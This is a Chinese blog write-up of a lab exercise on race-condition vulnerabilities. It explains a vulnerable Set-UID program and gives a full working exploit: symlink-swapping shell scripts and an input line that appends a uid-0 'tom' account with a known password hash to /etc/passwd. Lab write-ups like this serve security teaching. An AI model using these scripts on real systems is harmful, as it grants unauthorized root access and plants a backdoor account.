Race_Condition实验

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介:

//csdn博客目前暂时不再更新了,有兴趣请访问我的技术博客-晓的博客:zhangxiaolong.org 


   今天做了第二个实验,是条件竞争实验。首先呢,先思考以下两个问题:

1、linux下用open函数打开文件时,要是采用O_WRONLY模式为何容易产生竞争条件漏洞?换成O_WRONLY | O_CREAT | O_EXCL 模式后情况会如何?

解答:open函数用来打开一个设备,他返回的是一个整型变量,如果这个值等于-1,说明打开文件出现错误,如果为大于0的值, 参考格式>

 int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;

 打开的操作类型有如下几种

   1) O_RDONLY 只读打开

   2) O_WRONLY 只写打开

   3) O_RDWR 读、写打开

 采用O_WRONLY模式用open函数打开文件时,root总是可以创建文件,即便锁文件已经存在,这意味着该锁不能为root正常工作。换成O_WRONLY | O_CREAT | O_EXCL 模式后,就将权限设置为0,使同一用户的其他进程无法获得锁。

2、阅读一篇文章“从一个漏洞谈到ptrace的漏洞发现及利用方法”,地址为http://www.xfocus.net/articles/200304/503.html。描述其中的竞争条件漏洞出现的原因。

解答:代码是在内核线程exec_modprobe()的上下文运行的,程序的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid    、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。

在学习完这两个问题之后,我们开始做这个实验。

1.竞争漏洞程序

   下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争漏洞。

//vulp.c
#include <stdio.h>`
#include <unistd.h>
#include <string.h>
#define DELAY 10000
int main()
{
     char * fn = "/tmp/XYZ";
     char buffer[160];
     FILE *fp;
     long int  i;
     //get user input
     scanf("0s", buffer );
     if(!access(fn, W_OK))
     {
     //simulating delay
            for (i=0; i < DELAY; i++)
            {
          int a = i^2;
            }
            fp = fopen(fn, "a+");
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
   }
   else
            printf("No permission \n");
}

分析:

这是一个Set-UID Root程序,它的目的是向临时文件/tmp/XYZ中追加一个字符串。既然这段程序是以root权限运行,那么它会仔细的核查真正的使用者是否具有写这 个文件的权限,这就是函数access()调用的目的,如果它核实了使用者确实有这个权限,那么它会允许用户向/tmp/XYZ中追加输入的数据。在核查权限(access)和打开文件(fopen)之间存在一段时间,那么就会 存在一种可能:核实的文件和打开的文件已经不是同一个文件了,虽然它们有相同的/tmp/XYZ符号链接。 

2. 利用竞争漏洞

    利用程序vulp.c中的竞争漏洞,其中一种是利用这种漏洞向/etc/passwd和/etc/shadow添加信息。这两个文件都是 unix系统向用户的授权文件,如果黑客能够向这两个文件中添加程序,那么它们就完全有能力创建新的使用者,包括系统管理员用户(通过令uid为0)

    /etc/passwd文件是unix系统的授权数据库文件,它包含用户的基本属性。它是一个ascii码流文件,它的每一个行定义了一个用户的基本属性。

它的每一行的格式如下:

Username:password:uid:guid:gecos:homedir:shell

备注:Gecos:用来存储用户的一些杂项信息,比如用户的全名,办公室地址,办公电话和家庭电话,也可以是一个简短的文本信息。存储在这个字段中的数据时以逗号分隔的,用于用cgfn(change finger for short )命令修改这个字段。

具体的例子:

Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash

注意所有的passwd字段都不会直接显示口令,而只是显示一个x,这些口令都会加密之后存放在/etc/shadow中。这主要是为了增加Unix的安全性考虑,如果不考虑安全性的话,完全可以把加密之后的密码放在/etc/passwd中的passwd字段中。

在实验中,我在/etc/passwd中加入了一下一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 来获取root权限。

其中ttXydORJt50wQ是test的加密之后的密文。

可以运行perl脚本:

perl –e ‘print crypt(“test”,“tt”).“\n”’

来获取加密之后的密文ttXydORJt50wQ

我的目标就是在普通用户权限下攻击vulp.c的竞争漏洞,成功之后在/etc/passwd文件中追加一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash

注意:

追加tom用户的uid和uid均为0,所以我建立的tom目录获取到了root权限.因为我直接把tom的密码test的密文直接写在/etc/passwd的passwd字段中,所以我就没有必要再去修改/etc/shadow文件了。

攻击步骤:

第一步:建立符合连接

   可以利用“ln -s”命令手动建立符号链接,也可以用C函数symlink在程序中建立符合链接。既然Linux不允许我们在旧链接已经存在的情况下建立链接,我们首先要删除旧的链接。

下面的C代码简单的指明了如何删除一个链接,然后使得/tmp/XYZ指向/etc/passwd:

unlink(“/tmp/XYZ”);

symlink(“/etc/passwd”, “/tmp/XYZ”);

竞争漏洞攻击的最重要的步骤是在核实和打开文件的时间间隔内,让符号链接指向我们设定的目标文件,即在vulp.c的access和fopen之间让/tmp/XYZ指向/etc/passwd.

第二步:运行攻击脚本

 攻击脚本attack.sh如下:

#!/bin/sh
race()
{
  old=`ls -l /etc/passwd`
  new=`ls -l /etc/passwd`
#  when we modify the passwd successfully, the attack stops
  while [ "$old" = "$new" ]
  do
#  because when the synlink already exists, we can't modify the symlink,
#  so before change the symlink, we should rm the old one     
       rm -f /tmp/XYZ
       >/tmp/XYZ
       ln -sf /etc/passwd /tmp/XYZ
       new=`ls -l /etc/passwd` 
#     echo $new
#     echo $old
  done
}
race
echo "Stop...The passwd has been changed!"
RACE_PID=$!
kill $RACE_PID 

调用vulp程序的run,sh脚本:

#/bin/sh
race()
{
  while true
  do
  ./vulp <attack_input
  done
}
race
RACE_PID=$!
kill $RACE_PID

第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循环攻击vulp程序的目的是向/etc/passwd写入attack_input文件的数据,使新增的tom用户具有root权限。 

3.实验结果截图

 如图一所示:在zxl文件夹中,一共建立5个文件,分别为:攻击脚本attack.sh,攻击脚本替换输入attack_input,检查攻击是否成功的脚本check.sh,运行追加字符串的程序run.sh ,追加字符串传的程序vulp,且有s权限。其他程序都必须为可执行的文件,用sudo chmod +x /文件名 操作进行修改。

                                                                       图 1

如图2所示,运行Run.sh脚本。它会一直循环运行程序vulp。

                                                                       图 2

如图3所示,运行攻击脚本attack.sh。如果成功会显示如下提示,说明有内容写入到passwd文件中。

                                                                    图 3

如图4所示,在/etc/passwd文件中可以看到,有tom用户写入,并且具有管理员的权限。

                                                                          图4

 

目录
相关文章
|
6月前
Condition的awaitNanos&signalAll方法分析
Condition的awaitNanos&signalAll方法分析
45 6
|
6月前
|
算法 C++
【C++入门到精通】condition_variable(条件变量)C++11 [ C++入门 ]
【C++入门到精通】condition_variable(条件变量)C++11 [ C++入门 ]
65 0
|
6月前
condition_variable与多线程,互斥锁
condition_variable与多线程,互斥锁
35 0
|
Java
【自省】Thread的理论很简单吧,实战中什么情况要用setDaemon、 interrupt 和 join ?
【自省】Thread的理论很简单吧,实战中什么情况要用setDaemon、 interrupt 和 join ?
112 0
并发编程之没有条件创造条件Condition
多线程编程必会内容, 锁条件Lock.Condition
112 0
|
Java 调度
Java线程方法-执行(join) ,礼让(yield)
Java线程方法-执行(join) ,礼让(yield)
130 0
|
监控 调度
线程方法:sleep( )、wait()、join( )、yield( )的区别
线程方法:sleep( )、wait()、join( )、yield( )的区别
411 0
|
安全 Java API
深入学习Lock锁(5)——Condition接口应用与分析
参考资料《Java并发编程的艺术》
1450 0